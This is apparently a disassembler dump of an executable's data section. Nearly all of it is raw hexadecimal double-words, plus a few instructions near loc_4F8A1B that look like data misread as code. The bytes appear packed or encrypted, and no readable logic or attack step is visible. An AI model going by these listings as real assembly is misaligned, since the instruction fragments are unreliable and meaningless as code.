		dd 0E70089FEh, 0F5753E4Ah, 343525h, 0C7A9823Ch,	84AEEADAh
		dd 27674B00h, 7C23DC2Eh, 5453005Eh, 15DB68C2h, 0E00F758h
		dd 28AA18F2h, 6034214h,	0A819C735h, 2C16B050h, 0C1071CD2h
		dd 0B502025h, 4A89F0h, 0E9D70675h, 0CA91DD73h, 5295AA00h
		dd 4D24B1DFh, 0C2960078h, 0E4F57F85h, 3B140697h, 859A81h
		dd 14831F2Bh, 98E0DAh, 932CEBE5h, 3587299Eh, 0D1322400h
		dd 0C3404A0Eh, 485D07C7h, 203A8FD3h, 93E25434h,	0C40029F6h
		dd 2356F72Eh, 0C2421h, 0ABAFD81Ch, 2B7A04A0h, 74F805FAh
		dd 77020900h, 641363E9h, 7EBFA4Ah, 5E5AA719h, 741460B8h
		dd 0FC00F25Dh, 7815D9B9h, 1731C422h, 4E6F25h, 0AB10837Eh
		dd 500C012h, 0EBFC5D89h, 76C364Dh, 330F7F19h, 4881D0F8h
		dd 0C2009FEAh, 0F40662CEh, 7DF04Fh, 84973802h, 1AA811F8h
		dd 9100CBF0h, 5C164BE8h, 0FC0747EBh, 7D890009h,	3821939Ch
		dd 0B8747C25h, 8140BC00h, 1815FF0Ah, 0D7650460h, 80011489h
		dd 54BF84FBh, 52DCB31Fh, 911C21C0h, 90022375h, 850800B5h
		dd 943274C9h, 1800037Ch, 22C88950h, 672042h, 0DA197559h
		dd 0F9D8E924h, 3A50577Eh, 3201528Fh, 0D0061065h, 45DCA6D7h
		dd 983D00E7h, 0AF0E026h, 0AA00040Dh, 5A03AFB0h,	0D105FFh
		dd 0ED808A48h, 0B79BE40h, 4677E800h, 7AF68B81h,	0E9100008h
		dd 0CB0126C3h, 0C903C8CCh, 0CDD0CFD7h, 0D8DB80CEh, 0DAD900CAh
		dd 0EDEDDDCh, 0E100E0DFh, 0E5E405E3h, 505890h, 2EA85152h
		dd 0C584B883h, 5ABC3Eh,	0C031B244h, 154C966h, 428F1E50h
		dd 0DD105180h, 8BD2F80Fh, 110388F8h, 6905489h, 1F91D0C8h
		dd 0C65F00CBh, 3916D7D8h, 770009F7h, 602F7413h,	2A7829h
		dd 0F8A5F33Fh, 3E1831Dh, 18A4D207h, 0E177431h, 7C3AFC30h
		dd 1950000Fh, 1AFD5311h, 6600CB58h, 6941C706h, 728143FCh
		dd 4C4000Ch, 5086092Fh,	0EB391290h, 8A0FFF01h, 0E0D14003h
		dd 0F576203Ch, 3B800007h, 530B7522h, 0CE2017Bh,	0C50558h
		dd 34E6EB02h, 4FE255Fh,	1B1CC7FAh, 88508043h
; ---------------------------------------------------------------------------
		adc	al, 4
		pop	es


loc_4F8A1B:				; CODE XREF: .data:004F7A9Cj
		bound	eax, [eax+56h]
		adc	eax, [ecx+esi*4-27F222DFh]
		lock pop eax
		db	2Eh
		retn
; ---------------------------------------------------------------------------
		db 0D2h, 0ACh, 0
		dd 8028D818h, 9C7F3D07h, 0CD7C8B00h, 20CE5F61h,	42B700F5h
		dd 14D66A27h, 800EE25h,	0C2F81CCBh, 788977h, 681E34E0h
		dd 2C0B055Dh, 92148D03h, 0C022B050h, 0C88B88h, 3AC677CAh
		dd 0EE1EEB8Eh, 3513F300h, 0DD3DB55Bh, 0B460216h, 0F4E4D268h
		dd 4B0F5040h, 0D5E9EB0Fh, 0CA63209Eh, 1DAF5CE0h, 40F2E80Eh
		dd 73410C72h, 0B7E00F67h, 6BF04500h, 3663CC0h, 0D2F23EEEh
		dd 40401E9Ch, 1F4558Bh,	0F60169D0h, 178A38E8h, 0E0DE1964h
		dd 483C0533h, 0E500384Bh, 8378825Dh, 0DF0108ECh, 589B8EC0h
		dd 6CC85A5Fh, 5B0C001Eh, 2DA31BD9h, 0FD0092A4h,	33285CDFh
		dd 13FA2C16h, 1CA959h, 0AB81C735h, 0D90F078Ah, 67A2BBD6h
		dd 0D0009816h, 381272h,	0E7F77C8h, 88AAD160h, 1470700h
		dd 0DE7AD748h, 2AC80481h, 80F7760Fh, 0E80CEB87h, 0C949B500h
		dd 0A668A64h, 62410068h, 0C131A990h, 0E01F94E9h, 55C02203h
		dd 51082027h, 0F6CE0BF4h, 0B40013EEh, 80A61C26h, 0D9391A03h
		dd 0F84E4575h, 23DB815h, 5A73E1B0h, 92801BCBh, 0C21CE5DBh
		dd 454EDE00h, 0D606EBE2h, 3A1672E6h, 0F0FE5Eh, 8A367403h
		dd 750A3A08h, 54306700h, 1489313h, 9F4A00D3h, 401625B6h
		dd 83780208h, 311AB200h, 0B3B9D7D4h, 107A0138h,	0CF3FDA3h
		dd 80FAB93Dh, 21D64EBh,	903119h, 0CD88BB51h, 10E08650h
		dd 0CD46600h, 83184CB2h, 0ABF33B09h, 86311200h,	24405FAAh
		dd 0F156900h, 8840541h,	89B202C7h, 0E2F70BA2h, 0B04C3AE0h
		dd 1452480Eh, 0CF26403Eh, 99036Fh, 9229D031h, 0F2FB5AB9h
		dd 190DB00h, 96F1F728h,	0F8300048h, 0C7431C17h,	8003BE03h
		dd 0C6057DF6h, 0FA2DE804h, 1F170088h, 0F9018B47h, 0FFE68114h
		dd 844F852Eh, 2307B90Eh, 7B97D929h, 0B0A3000Ah,	8AD20F20h
		dd 12001C44h, 754B2B42h, 0AD41F6h, 51B82318h, 0E9968F82h
		dd 2F9CB300h, 0CC2CAC33h, 94CE1D50h, 0C6634773h, 20190BFh
		dd 1E018A0Ch, 70FB8046h, 0B5CCF8D7h, 2D0E03CEh,	2B0A69ECh
		dd 248166D0h, 0FE78080Eh, 0FD58C061h, 0F30025Ch, 28ACCBE2h
		dd 26844FE1h, 623CC4Ah,	4EB2000h, 0EE347F0Dh, 24C02630h
		dd 392C0093h, 3F28E8F8h, 1C048D0Fh, 0D89BC001h,	1340555h
		dd 0CDFEE675h, 0F8D4E486h, 5905127Ch, 3289F631h, 90461780h
		dd 7703486Ah, 78F07E00h, 0DE29D9EEh, 0FE00EC71h, 0E451C56Eh
		dd 48ACBFBCh, 32008E1Fh, 92DF7430h, 3007261h, 5420A2CAh
		dd 0EA0B7643h, 1F110010h, 4CD07705h, 0BF010AC3h, 565A90C9h
		dd 0D5C05D04h, 1A97DEBh, 0FAFFB150h, 0C0427D2Ah, 70074EDh
		dd 0FE288840h, 7512C9h,	3C1E5AF2h, 6C430253h, 7301FA00h
		dd 90517497h, 8B440035h, 0ECF85442h, 52005D36h,	195A8C68h
		dd 0FE570926h, 0EB84Ah,	0FF1250A9h, 0D32BF03h, 1B48AC04h
		dd 35C0C69Fh, 0BFC5C14h, 8C7C3D74h, 4C08F000h, 2F00B859h
		dd 8304D250h, 2E01F835h, 0CD290Eh, 900B1B22h, 0AC0325FFh
		dd 338B4C79h, 6350E0DBh, 50C741Ah, 1C753E07h, 701D802Ah
		dd 91009225h, 0D41A1B0h, 3F29845h, 161F4C22h, 0A09801B3h
		dd 0F4004028h, 57037B0h, 0B847604Fh, 8D736Fh, 6A6250FCh
		dd 0F6386886h, 653A652Eh, 6BE84700h, 378323Fh, 5511E04Dh
		dd 2DA06168h, 3000FF64h, 1B2089CCh, 0F445C7h, 0EE608691h
		dd 0F808CB50h, 69C52C00h, 0AC8B8954h, 34E683h, 8AEAA267h
		dd 63C41618h, 0E0985200h, 0A16628EFh, 25EC0071h, 97FFC02Ch
		dd 8700F89Fh, 0C33FE283h, 0EFBC20Bh, 9C2A59A3h,	4F53003Ch
		dd 41575446h, 450052E0h, 726F425Ch, 4C3C616Ch, 44003C6Eh
		dd 6870C765h, 5200F169h, 46C04C54h, 550350h, 6B73614Dh
		dd 756CA056h, 94653Dh, 2AE3C38Bh, 12C3AB7h, 60D7C7ACh
		dd 2031D470h, 0E1D8A20h, 0AE408D41h, 93AECFAh, 3FE800D8h
		dd 58C2F748h, 1BEAE913h, 0DE747703h, 90751ED3h,	77BBC36h
		dd 0DC4A76FAh, 0E8075001h, 0AE1E2D37h, 0F6479C45h, 0BE50E975h
		dd 0C6C831h, 0A46B5C54h, 49AC08F3h, 0D3009AB0h,	3C0C141Ch
		dd 2B980Fh, 8F64121Dh, 92780551h, 0E03E307Eh, 19A2004Ah
		dd 2379DDD0h, 0C5942E96h, 0B2DA043Fh, 51318001h, 6C034BFCh
		dd 0ABD7CB02h, 41D8B88Bh, 120FADAh, 65580DDBh, 0E859247Ah
		dd 63020E6Bh, 0B82CE24Ch, 1C1E096h, 5B0D0351h, 706731FEh
		dd 0EBD81BC3h, 0D47539EDh, 8DE1D2Eh, 1C006F2Eh,	3EA6734Ch
		dd 6BE00F6h, 0C827B2Ch,	207F3834h, 75493700h, 0A8E3453Bh
		dd 0C9D90154h, 3981DB10h, 1A9AECD0h, 407578F4h,	4BC3F300h
		dd 57A821B0h, 596A0093h, 38D0684Ch, 0D1C247Dh, 510039D3h
		dd 6602C783h, 0F8AF00F2h, 6459550Ah, 0C3007F8Bh, 290B0358h
		dd 35CF0C8h, 96F7FC47h,	44C0B891h, 1126D480h, 2401303Ch
		dd 1A1C8F53h, 0F69009E8h, 0A5F0217h, 1886C0DEh,	67E8E740h
		dd 58FCA912h, 0D905A300h, 0E1FF5Bh, 0A5089F0Eh,	0E802F061h
		dd 53515200h, 818FF689h, 0F4500084h, 1058E012h,	6E7E6463h
		dd 69911900h, 60F57108h, 0DF2D000Fh, 0CA43B8Eh,	0A0002FBh
		dd 405A595Bh, 91E3FF0h,	2C45FC9Eh, 90C1300h, 22000E74h
		dd 4950811Dh, 23581Eh, 47257531h, 8BF09821h, 0FF131000h
		dd 2895F852h, 0E4090007h, 7FBAAC58h, 0EF00D4A3h, 0E8060EAAh
		dd 0E0759Dh, 43D8012h, 7601E141h, 0C26A1000h, 0DF056B66h
		dd 4FED48FAh, 359C1200h, 0C11C24CCh, 0F516DB2Ch, 6A546200h
		dd 3423D02h, 0A30C92E4h, 99D99808h, 147670D1h, 0A04A200h
		dd 0F09C550h, 0E573008Ch, 8B547FE9h, 77EA064h, 12A45300h
		dd 0C9967C9Eh, 418900F0h, 39800103h, 8A983DE9h,	75EB0A02h
		dd 60BE0F0Ch, 0F898F25h, 539A650h, 647CD7E0h, 0E4001C68h
		dd 6BDDBBE1h, 0EF106EA9h, 8A2F30h, 50280A5Ah, 20A45211h
		dd 8DE2421Eh, 76ABF0C2h, 0BF46E01Eh, 53E31E88h,	0D31C4148h
		dd 0ECF72683h, 8A00DA39h, 12850F16h, 1D814543h,	400EDE38h
		dd 6018508Bh, 74001448h, 0E816FC6Eh, 0A41B5Fh, 0A29E0C4Eh
		dd 840FD283h, 512EF000h, 14B216FFh, 8B2507E6h, 45BC5E9h
		dd 0CE898094h, 1A00EFFAh, 5A37740Eh, 3FE0A5ACh,	76808B08h
		dd 163B2729h, 0B4002077h, 0C2A15051h, 1365AEB3h, 0EE2439h
		dd 0A2BAAEBh, 0CAEE7B30h, 0FBE20C00h, 3B920BBAh, 1EAB1D85h
		dd 50154061h, 828C638h,	59EFFE00h, 74F1513Dh, 48E0006Fh
		dd 53020B04h, 0E202DB31h, 1B1A614Eh, 0A54161E6h, 0FA1EBB60h
		dd 5468005Fh, 0D348D12Fh, 0E8909B29h, 79247C00h, 0B0FF0EE7h
		dd 286D0014h, 8B2606A0h, 300D56Fh, 47C7045Fh, 512D9Fh
		dd 5760F931h, 0E3FF88A7h, 0AD36B907h, 50806F19h, 0E891127h
		dd 4108A890h, 0EBE92A40h, 0B8005EFEh, 2C8A51D4h, 4586EC8h
		dd 26911F74h, 52B28044h, 75001801h, 0EAE90A1Ah,	9E62B9h
		dd 2C444D42h, 2189084Eh, 67017F70h, 718D0559h, 0C5EC3D09h
		dd 0B50600A6h, 0EF16439Eh, 3F005A4Bh, 84F87424h, 48041h
		dd 0E64F3BD8h, 64176775h, 57B5D41Ch, 9CE269C0h,	189093Eh
		dd 610BE842h, 0C48C74CEh, 695CDC7Fh, 0D075002Ch, 4B08C683h
		dd 0F2C000B2h, 0A161A486h, 26031499h, 0FF41C4B8h, 0E992F88Dh
		dd 946D0E1Ch, 2BEE5923h, 449E21A0h, 27482214h, 6CF11E42h
		dd 0F238689h, 56986136h, 0A3E88844h, 1E5BEA30h,	8F92899Ah
		dd 8D20CF86h, 93E8EC53h, 9879105h, 0C4E00463h, 87BE1h
		dd 2480A48Ch, 42C78F54h
		dd 31288500h, 8BDFA3ECh, 2208306Ah, 5684DBDEh, 2489D100h
		dd 28603949h, 54050F5Ah, 53A05755h, 9507C888h, 444E4200h
		dd 52E9F62Fh, 8654008Bh, 6AA0C730h, 83018897h, 0A427BEAh
		dd 0D471B089h, 60EC7931h, 39FD0004h, 1EA80DF0h,	9200A4B5h
		dd 0C9C543EAh, 3BCC031h, 1C0648DFh, 12D85910h, 28001189h
		dd 49A78D6Fh, 473A6Ah, 0C664955Ah, 0C49674B6h, 5442E00h
		dd 0D103E85Dh, 0E2FF00C7h, 4D588038h, 1500CD5Eh, 5034C056h
		dd 0C2BE02h, 4AB80C52h,	3F1FFC5h, 3854491Ch, 86E97282h
		dd 92836048h, 0C0070020h, 5C742C7Fh, 0F018E95h,	57221509h
		dd 20C8052Dh, 0BF8700DDh, 483D1ECFh, 0EB3F4E80h, 84713060h
		dd 83073Fh, 369429E8h, 52E130E7h, 43963D00h, 3814112Ah
		dd 93762Dh, 13462E33h, 0EB24060Fh, 0FDEA3A1Dh, 502F18C0h
		dd 77E968Ch, 0B02C1D26h, 1E2A40C8h, 781C3DC9h, 229DCD7Ch
		dd 6567CF0Fh, 87C71A21h, 0CE471627h, 0D8871267h, 0DAC70EA7h
		dd 0D9E70AE7h, 0CAC406E0h, 16272EFCh, 8D900536h, 808E1D8Bh
		dd 6C01E3E8h, 400C25Dh,	0F3942467h, 402993h, 2690F1FAh
		dd 7074503Dh, 0CE00A27Bh, 99CB9238h, 1D90836h, 72F65232h
		dd 0EC3B8189h, 300053D0h, 1817438Fh, 12381D74h,	0BCFB82h
		dd 0B1D889ABh, 0B600EF84h, 4BFA4419h, 74E1Fh, 46A3120Dh
		dd 945C3749h, 0D9B8850Fh, 14510204h, 6DBB878Ah,	124F60F0h
		dd 0AA090752h, 505B290Ah, 94ED2677h, 68F6E300h,	0A005F8F5h
		dd 0D81A01B5h, 0BAC804Ah, 0C8B63047h, 38657502h, 0C02E536Ch
		dd 7F9836Eh, 39A174FFh,	9DF5F001h, 0A4008922h, 68A2E984h
		dd 0D49CBFh, 3E434B93h,	57E148C2h, 70E80C00h, 0E9A79504h
		dd 505800BEh, 7E1DDB85h, 0F0004B12h, 4DE4433h, 9749D4h
		dd 7F24D031h, 0C4BA3DEEh, 0B214EB00h, 73E809BDh, 0A96C0023h
		dd 0B4DF9A3h, 3CFE5F3Eh, 0A1856000h, 0CFDFE8A4h, 30C3034Bh
		dd 78A2DB33h, 341E5E90h, 3B121400h, 1A057EF3h, 0C1DF0004h
		dd 49A81D3Eh, 28EEB127h, 4AEC7F00h, 1151E360h, 9CBE00BAh
		dd 0C47D8D04h, 0A790E9B9h, 8FA5F301h, 2164BC05h, 1429B20h
		dd 10B02D89h, 0EF84B41Dh, 1508A4F8h, 8D87AC00h,	0DF5C44Dh
		dd 9377D17h, 0FC7D8397h, 35B5A100h, 6792008h, 0C92BE803h
		dd 880C45FAh, 1CC0A240h, 4359481Dh, 0C4151BB8h,	0FF03E990h
		dd 2F967100h, 2836156h,	417E1D05h, 3D2580EEh, 7594C81Ch
		dd 0C6180D1Fh, 1132481h, 26F95AD9h, 4CBB20h, 0CB222C48h
		dd 95D3E834h, 0A345C501h, 18247444h, 3C9F30h, 160646B2h
		dd 6B202778h, 0F5B93805h, 2080EE93h, 14E1C3Ch, 124A892h
		dd 0E832A9C8h, 0EC0E040Ch, 0C1D210ACh, 0BBBF30C7h, 0E6803CB9h
		dd 115ABE5Ch, 13001280h, 0F294834Bh, 383C22h, 334AE877h
		dd 30BB354h, 0D0299200h, 595C44BBh, 1B98FFh, 0E68A0FE2h
		dd 57C01750h, 63E8C102h, 80B4ED9Ah, 46EA32E3h, 23F011h
		dd 77FF0C1Dh, 0F820061Ch, 3E933700h, 5D2656A4h,	73870015h
		dd 19D8F70Fh, 0C9074045h, 32BBB684h, 3885609Eh,	1806BEh
		dd 250B34BFh, 0CE587B80h, 83161C0Fh, 0BEE0203Fh, 5F8917h
		dd 6F3787D0h, 0FBC2E803h, 75231200h, 381A08EFh,	47743E40h
		dd 25581383h, 0EC88A34h, 0BA001685h, 0B88C4228h, 1FA27214h
		dd 803E8FAFh, 0EB0B12ACh, 0CF01C62h, 75226000h,	6ECF7013h
		dd 0B4150048h, 0E186926h, 0F212163Eh, 0D60029ADh, 0A750204h
		dd 0F64C28BEh, 268907FEh, 0F0080C43h, 7622012Bh, 503EB2F8h
		dd 0AA18005Fh, 6DFBE8C0h, 192E1F37h, 3B0079FDh,	587404CCh
		dd 22007F06h, 0A64BEAEBh, 75482Dh, 285314C2h, 0C01292B7h
		dd 980D1500h, 0A03B831Ah, 66F0041h, 8BCBC660h, 560003C1h
		dd 0FB6C097Bh, 7A5E0438h, 508C00EBh, 6974726Fh,	73036EA0h
		dd 3D437920h, 3FFAA070h, 7A680067h, 2963281Fh, 39003181h
		dd 0D32C3338h, 1CCCBAFh, 3718B76Dh, 60918990h, 9707E9FBh
		dd 238FF5ADh, 0B75C7C90h, 8B8400E3h, 1C2ED110h,	5138C2C7h
		dd 0F84A072Dh, 0F0D07C49h, 0EFF6Ah, 8D5007CBh, 57E8D242h
		dd 6B0068F8h, 60C47858h, 2C8BD618h, 275513h, 0EC80342h
		dd 29E40865h, 4EEAB000h, 6CA3DAFCh, 24510030h, 1A7F4145h
		dd 1700F5B4h, 93750542h, 0FAFE227h, 13481864h, 0F65A00DFh
		dd 0B78C97EBh, 0A1876E00h, 4C4B147Ch, 21440095h, 2A7E150Ah
		dd 203B3BF9h, 501C0054h, 95F8375h, 10180026h, 895A081Fh
		dd 6FF4FC97h, 1768F803h, 0F86B04C6h, 38BA546h, 25C0E390h
		dd 0F8E1C1D6h, 0FEF9E458h, 96BCC700h, 7A980914h, 95F00053h
		dd 3277E45Ch, 0F0026CFh, 0EC96573Bh, 0F38597h, 0D9F1D3F8h
		dd 0B35EEAF2h, 97F8F00h, 8223C74Ah, 816700EBh, 8B7854FBh
		dd 64002C7Dh, 9708E0BEh, 40CFC90h, 55532850h, 7B40C010h
		dd 0A90086F1h, 0D7E27B8h, 0C70441h, 323ACEE9h, 0ECD93306h
		dd 6098B57Bh, 0C5204401h, 16225498h, 293160h, 80CA4607h
		dd 0C09CB8B4h, 89145200h, 95D1B9E2h, 175B032Ch,	41151268h
		dd 3A522198h, 83D50A3Dh, 1945132Fh, 0FD02C0E2h,	0E03E60Bh
		dd 695E3A62h, 0ECE8EB01h, 1CF1306Ah, 295AD100h,	2712E5E4h
		dd 41240065h, 66522D30h, 620C9B3Bh, 70340A20h, 82C30E0Dh
		dd 6AF280Eh, 0EB081941h, 496892E4h, 763A8A00h, 7621D725h
		dd 3C901FC2h, 4252C38Ah, 57C0014Ah, 891D5150h, 0F20720D7h
		dd 3B0AE5Ch, 158D1F7h, 5F9AC101h, 70A41992h, 0CB03ACB0h
		dd 0EA0F7061h, 0F234D8FEh, 8B770103h, 35C9FC7Bh, 0DC8E43Fh
		dd 0E2840F00h, 8A2734FDh, 798B000Eh, 85B97EFCh,	391EFA01h
		dd 77EC02CEh, 7A4A2C00h, 4E0E41h, 2413269Ah, 0F5A48F46h
		dd 6217AA00h, 83AB42F7h, 0AF3D07D0h, 91618828h,	213BA044h
		dd 517460AFh, 68BC0800h, 0F9233450h, 0E94F00C0h, 0ED42933h
		dd 0D3003958h, 250CE16h, 3FC5Fh, 49756E46h, 0D809DFC7h
		dd 0B34B8B00h, 0A2FAF277h, 53030063h, 0A5580F91h, 5C004320h
		dd 0F84F33F7h, 48A48CFEh, 0CA000271h, 0E6A0BE9h, 5400AE51h
		dd 0A650528Dh, 8BED40h,	104F944Ch, 41112FD7h, 714AFC00h
		dd 305A56CFh, 8BC60007h, 6F149C44h, 0B800F5D3h,	5501D834h
		dd 0D054CEh, 7E2AE975h,	0ACC8EF82h, 5AC44A00h, 248D5801h
		dd 0E0FD0094h, 3E6CD92Ah, 3900F145h, 8FC709D0h,	3EA5CB29h
		dd 8200687Fh, 0AE1C8B6Bh, 0C05857DCh, 277007Ch,	5213C201h
		dd 0B4EA00C1h, 1FE40E4Fh, 4A145888h, 2C954E89h,	4003A310h
		dd 0E0E6C7C6h, 7F786h, 0FE5A6FBEh, 2C2250E0h, 41813800h
		dd 34761702h, 0E3A1E18h, 0E3678410h, 0CA7DC0B8h, 300006E1h
		dd 0C0012773h, 7F23EB2Ah, 0D4FA61h, 151307D6h, 0CF62B25Ah
		dd 0A4D0E301h, 2A590ACh, 1F850D8h, 0B078C442h, 60119743h
		dd 8001DB44h, 0FB3AF9B8h, 2822C77h, 0FA34A86h, 390225D0h
		dd 13A424DBh, 9D4AC190h, 0C51FD868h, 80CC1EE7h,	36D0895Bh
		dd 7E008BF8h, 0FC58252Dh, 70261BC0h, 27C754Ah, 1F7DDA39h
		dd 5068D329h, 9E000519h, 0F416117Fh, 6394C9h, 313A7D25h
		dd 89E50AD2h, 2A93D900h, 126CB113h, 9ED50F5Bh, 1FF6BC8Bh
		dd 0C0575F87h, 0FC304086h, 7C004E3Fh, 7D123D4Ch, 430126h
		dd 0F129227Eh, 2D9CFE9h, 3F42BC3Eh, 8DF200F9h, 7F4D3A04h
		dd 52FB0724h, 10FAF0A1h, 0DF4C4762h, 4087A900h,	70317992h
		dd 4F8B0088h, 8334F1FCh
		dd 7803044Ah, 46068A1Bh, 147ED9C1h, 10D5F4h, 3BCB8937h
		dd 15A6F3C3h, 0C746000h, 5AEC128Ah, 57FF051Dh, 0C0415E08h
		dd 273AF875h, 6A985100h, 0FF314390h, 489B0028h,	23AFC2FCh
		dd 0E0007883h, 0EC1D756Fh, 0F92A09E8h, 1C87A1FBh, 0A5F884F5h
		dd 8B75003Ah, 701A40EEh, 0AE0790FCh, 28DC3050h,	949B0C60h
		dd 0C93207AAh, 0B021FAD2h, 477CF139h, 9D4BB600h, 4502C80h
		dd 0B86F75E9h, 0D43400B4h, 455DB2CAh, 0C81D30DBh, 0F31EF729h
		dd 593D4080h, 0DA8906h,	1347E95Bh, 9C36C34Ah, 83A8B83Fh
		dd 1E0EC81h, 0E2FAE0A3h, 41B5007Ch, 903C37E8h, 7900F01Dh
		dd 7D28F320h, 1F240A80h, 403175FFh, 856AE3DBh, 1F07AE15h
		dd 0C45B1C59h, 0AAF8C910h, 504D0322h, 0F5743158h, 0B586C194h
		dd 0C066F932h, 87FB0E4Bh, 0CE4652CAh, 10584960h, 0D1350096h
		dd 590CD722h, 50009A20h, 32125B3Bh, 0EC8814h, 8A532E44h
		dd 4F3924A8h, 6113B300h, 897C620Eh, 4CE21D06h, 5A94075h
		dd 0FF0912A3h, 6DE42E00h, 0EC7F4F14h, 0FE52039Eh, 0E0F94B7Ch
		dd 2089DDC1h, 0D600FAEDh, 0E506ADA0h, 8001F4h, 7BBFF85Ch
		dd 0A80B0ACEh, 0C1E4600h, 0D3F5890h, 7F6200A0h,	0F7B400Eh
		dd 881266C8h, 0D80012B2h, 5893598Eh, 0CF22F66Fh, 7FC0012Ah
		dd 0E9D6980Ah, 0DBD24503h, 0F0F35214h, 78EB19h,	30071A91h
		dd 1DCC2C58h, 1A86A58h,	0D4612D44h, 10F0BB28h, 433E4C0h
		dd 0FEF39450h, 89A0C052h, 54008BD5h, 2C8E0A2Eh,	0CB5C03h
		dd 4A0D8F02h, 638AB406h, 241D2D0Fh, 351940E8h, 771A493Dh
		dd 37FD0171h, 5DF01650h, 431ED4EBh, 0E8730400h,	0F243846h
		dd 0F2940077h, 54A97D11h, 9D0049F1h, 0D1285C61h, 984AE98Ah
		dd 70B31F84h, 0DA48C08Eh, 0C6087544h, 7761C400h, 0E57F9C8h
		dd 708E075Bh, 306A2D4Bh, 463A7620h, 0CD25F50Fh,	554F409Ch
		dd 7740561Ah, 287A7E59h, 5DFD6D0h, 1C2F89DBh, 41918024h
		dd 14039BCCh, 0CE920BFAh, 5749A8D0h, 0D45D003Eh, 0D8CCB056h
		dd 4B002B31h, 22CF2529h, 9B3D09h, 0AA1DD5AEh, 5098BEE1h
		dd 0EF335600h, 48CD832Ah, 0BD5B0971h, 5F80325Fh, 84F85A85h
		dd 0FDB21C00h, 0A81E532Bh, 0BF3100AFh, 0D21D1499h, 0F802BB85h
		dd 19385755h, 606FC2C7h, 0BD0FDCh, 10C2731Bh, 23DE0892h
		dd 0F77993F2h, 765E938h, 0FA832875h, 0E0EE72E7h, 26BD9981h
		dd 10372EB4h, 190E3DF6h, 73E02A56h, 27C7661Ch, 0E9289102h
		dd 0E0485E25h, 8BA18Ah,	0E4D414A3h, 88909DA4h, 64836602h
		dd 0C02A8038h, 1818764h, 5F3E868Dh, 4084F742h, 0EB2720CEh
		dd 51FF100Ch, 419FC15h,	0C3A78AAEh, 6071805Ah, 7304123Ah
		dd 0DB77B111h, 0E78611C5h, 0C41007Ah, 7099C3CDh, 14057F3Ah
		dd 757E0FB1h, 301D7980h, 8F580002h, 72BD0486h, 1300C6A8h
		dd 0E5DA0908h, 0FE4C8A52h, 1E507A0Ah, 0BF6493C3h, 981AB80h
		dd 1C850FC0h, 96883900h, 0F02FE0A2h, 0FC021DE4h, 2D51407Dh
		dd 0A9104B9h, 31345901h, 458D12D8h, 0E7B0BF8h, 558F6833h
		dd 40DC2D60h, 0D476D84Eh, 0E43E4A98h, 9C9294F2h, 2C3503F1h
		dd 88E3CCA8h, 1385150h,	0CBD48A23h, 7056B2CFh, 6B00B387h
		dd 0B5657C25h, 797B1D83h, 62CD005Ah, 0F926845Bh, 7014923h
		dd 2D350371h, 27DCE24Fh, 53C800FFh, 2C30EB4Ch, 0CF02D1D6h
		dd 0FE8AE7E8h, 0CA82E095h, 0C0756Dh, 0C336835h,	0ACDD5634h
		dd 1209200h, 5482ABAh, 2F2200FDh, 9B511998h, 32008C07h
		dd 0F80A0389h, 0E6443EAh, 2FC0C08h, 9A34EB60h, 7D008F4Ah
		dd 0D15727AAh, 3515C18h, 2B4EAD53h, 28BBA5BEh, 44959C88h
		dd 8A971202h, 0C03BFD01h, 72EE3D6h, 0D266E56Ch,	57A5C7A3h
		dd 9794F008h, 0D800E0C3h, 7E85109h, 7C5BA2Fh, 6962279Ah
		dd 763AC05Fh, 6D01EE74h, 8BDE9C53h, 0D9C187EFh,	3D8E230h
		dd 82DF0D75h, 0A0A4E84Ch, 3203E259h, 0A4133D59h, 305A875h
		dd 210801FBh, 0A31D319h, 0F7D5C048h, 22135500h,	4271109Dh
		dd 949600B4h, 93CBE658h, 0E77BC295h, 2F9B3000h,	0BF4B2D87h
		dd 5EC00034h, 0D383D4CCh, 2177F869h, 0A3110A00h, 63579D5Ch
		dd 0B9510079h, 914C4DB0h, 0F600D6CEh, 6A65AF5Bh, 1E46728Ch
		dd 43B99944h, 0A58B7D89h, 0EF9C13C0h, 0EC830600h, 0FB8D810h
		dd 78207B96h, 90100B9h,	6531F3E8h, 2B0F27B6h, 6FAA56B0h
		dd 2499E0C4h, 595350h, 448CDD58h, 70FF1B1Ah, 0C4060C00h
		dd 33B8040Dh, 891200D9h, 5B3936E2h, 551F2CA2h, 807AE011h
		dd 0AD05D354h, 91F849h,	6CC88925h, 0A34A2471h, 0A540400h
		dd 3870B506h, 47640027h, 3B74A607h, 8D000583h, 85E1D11Bh
		dd 188A910h, 6AE48661h,	0C0953F1Ch, 0C8002C97h,	6B7C818Fh
		dd 0A5FA10h, 0E8067525h, 6602EBEDh, 1C453303h, 0F115FC51h
		dd 0CDF86010h, 77190074h, 7204583Bh, 8010A67h, 0C0705A4h
		dd 0F5E0C975h, 0B0360084h, 0EEE7F432h, 0F0095EBh, 8A129166h
		dd 19A810h, 0EF755CC2h,	6FB8F844h, 64B05B00h, 0C94BC4B3h
		dd 0A3300034h, 9D747A68h, 130F6A82h, 871B7501h,	84D0C3EFh
		dd 7A88214Ch, 53CF022h,	9D7D83F4h, 5598C0C2h, 85001018h
		dd 5077CDB1h, 0F6B9D36Dh, 0A43400F4h, 8C12A515h, 450043E8h
		dd 356536E9h, 371C8Dh, 3ADC3880h, 1780F08h, 0E0EEEDFDh
		dd 700015D5h, 0E814025Bh, 6633D7h, 823B8013h, 8D26EA0Fh
		dd 0A76A3Dh, 0B747C53Dh, 565DD6h, 0F96C34Ch, 2752BF3h
		dd 1468D0Fh, 6268C0AAh,	844BE8h, 39554C64h, 0C749F8CEh
		dd 936F400h, 1F8203D0h,	90FA0081h, 618F0FA4h, 40488B92h
		dd 3348002Eh, 35C65203h, 0B61C0765h, 0C75CC3E1h, 744450E3h
		dd 0C274DEC7h, 0E9856703h, 0A88921DBh, 72047E2h, 3A2CD4CFh
		dd 0C203E056h, 4EE03D40h, 0C6487F00h, 33A13584h, 43A9035Ch
		dd 40AC4C41h, 37A7F090h, 3030976h, 20DF7285h, 0FF5FA8C7h
		dd 2A0200D2h, 590B5D1Ah, 6B0EC1CCh, 0C06E7265h,	321D336Ch
		dd 7B643C2Eh, 920FF594h, 6F673C70h, 61500073h, 4E7468EEh
		dd 51006D7Dh, 0A8231441h, 0FFEE010h, 71A75292h,	40FFE3CEh
		dd 0C68F60ABh, 0E100EE45h, 68D9467Bh, 24BDE03Fh, 87DC91h
		dd 10F801C5h, 1E3974B1h, 7023004Eh, 0C47275E2h,	64210052h
		dd 71014B46h, 361D0EE8h, 6000C7B1h, 92B2A5C3h, 6F903FD4h
		dd 6400EB3Bh, 967AC5ABh, 58007352h, 784B1A37h, 906850h
		dd 0FC3DB3DAh, 466BF053h, 0BF16A60Fh, 0C793001Eh, 0E892AB34h
